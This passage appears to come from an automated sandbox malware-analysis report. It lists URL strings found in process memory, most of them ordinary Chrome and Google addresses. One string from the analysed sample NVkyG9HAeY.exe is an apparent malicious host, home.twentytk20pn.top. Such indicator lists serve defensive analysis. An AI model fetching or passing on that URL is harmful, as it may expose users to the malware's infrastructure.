Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1814209114.00004E840052C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000003.00000002.1812702376.00004E8400310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000003.00000002.1821434978.00004E8400664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000003.00000002.1821389497.00004E8400644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.chrome.com/extensions/external_extensions.html)
Source: chrome.exe, 00000003.00000002.1810749669.00004E840005A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000003.00000002.1823016612.00004E84008F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000003.00000002.1823465999.00004E84009F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: Amcache.hve.14.dr	String found in binary or memory: http://upx.sf.net
Source: chrome.exe, 00000003.00000002.1823607317.00004E8400A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
